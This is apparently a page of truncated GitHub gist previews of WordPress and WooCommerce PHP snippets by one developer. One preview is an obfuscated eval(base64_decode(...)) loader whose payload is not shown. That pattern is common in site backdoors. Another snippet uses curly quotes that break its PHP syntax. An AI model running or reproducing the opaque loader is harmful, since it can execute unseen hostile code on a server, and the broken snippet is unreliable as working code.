This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// WordPress Administration Bootstrap | |
$admin_file = 'wp-admin/admin.php'; | |
$plugin_dir = dirname( __FILE__ ) . '/'; | |
// Find the wp-admin/admin.php file. | |
$relative_dirs = ''; | |
$num_rel_dirs = 0; | |
while ( !file_exists( $plugin_dir . $relative_dirs .$admin_file ) && $num_rel_dirs < 10 ) { | |
$relative_dirs .= '../'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Restrict who can access this script. | |
$permitted_ips = array('12.34.56.78'); | |
if (in_array($_SERVER['REMOTE_ADDR'], $permitted_ips) == false) { | |
header('HTTP/1.0 403 Forbidden'); | |
die(); | |
} | |
?> | |
<!DOCTYPE html> | |
<!-- $Id: update-transients.php 4163 2016-12-16 11:36:52Z damien $ --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2: http://www.fopo.com.ar | |
$cd61f663832b="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($cd61f663832b( | |
"JHIwMGU4NDlkMmU1ZjRlYzE0NjhhMjYzNTVmMjI0YTJkPSJceDYyIjskdTI3ZDQxMzY2YmFmYzkyYmFmZTA0ODM | |
zMTc0MzllYWU9Ilx4NjUiOyR4Zjk0NDFhNzM0ZGVmNjEwNmU4MDEwYjk3ODUzMTcxOD0iXHg2NiI7JGRhMjRlZmY | |
zODI1ZmRjZGRhYTk4N2M5NDg2ZDA1MzNlPSJceDY3IjskejNhMzBjMGIyZTM3ZjVhMWYzZDVlNjA3NTAwMGE1YzI | |
9Ilx4NmQiOyRxYjlmZTIzMzEzNDc2NzAzZTRhZDk1YWY4OGQyZmRiYj0iXHg2ZiI7JHNhYTc4MDU2NzI4YmU1N2V | |
hYjMxN2E3YWFlZjljZTdiPSJceDZmIjskbjJiNDRkYzM0ODNjZWVlYWU3NjE5MzY5NGRkZmMxZmQ9Ilx4NmYiOyR | |
zMDNiYzc3MTQ0YTJkMTMzZDJjYTAyMWUyY2UyMDc1Mz0iXHg2ZiI7JGU1OTVlOGU3YzA1MWQwZjI3YTgzMTc1NjY | |
wZWFiYzYwPSJceDczIjskemEzY2YyY2Q5MmJjZWQ4ZjRhNzFmZGM2ZmVmOGM2NmI9Ilx4NzMiOyRnNDZkMzZmNTN |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Append Download button below audio player | |
Plugin URI: https://www.damiencarbery.com/2017/02/add-download-link-to-wordpress-audio-player/ | |
GitHub Plugin URI: https://github.com/damiencarbery/audio-shortcode-download-link | |
Description: Add a Download link to the html generated for the "audio" shortcode. | |
Author: Damien Carbery | |
Version: 0.2 | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Promote Free Shipping (WooCommerce) | |
Plugin URI: http://www.damiencarbery.com | |
Description: Encourage customer to add more items to the cart to avail of free shipping. | |
Author: Damien Carbery | |
Version: 0.3 | |
*/ | |
class PromoteFreeShipping { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Set up task when plugin is activated | |
register_activation_hook(__FILE__, 'dcwd_cron_status_setup_schedule'); | |
// On an early action hook, check if the hook is scheduled - if not, schedule it. | |
function dcwd_cron_status_setup_schedule() { | |
// Add the event only if it is not already scheduled. | |
if ( ! wp_next_scheduled( 'dcwd_cron_status_status_email' ) ) { | |
// Schedule weekly at 2:12am. | |
wp_schedule_event( mktime(2,12,0), 'weekly', 'dcwd_cron_status_status_email'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Change Single Product Layout | |
Plugin URI: http://www.damiencarbery.com | |
Description: Change layout of Single Product page by changing add_action() order. | |
Author: Damien Carbery | |
Version: 0.1 | |
*/ | |
add_action( 'woocommerce_before_single_product', 'cspl_change_single_product_layout' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_filter( ‘genesis_structural_wrap-header’, ‘do_full_width_page_header, 10, 2 ); | |
function do_full_width_page_header( $output, $original_output ) { | |
return sprintf( '<div class="full-width-page-header" style="background: url(\'%s\');"></div>', | |
wp_get_attachment_image_url( 2623, ‘full’ ) | |
) . $output; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<iframe width="420" height="315" src="//www.youtube.com/embed/dQw4w9WgXcQ" frameborder="0" allowfullscreen></iframe> |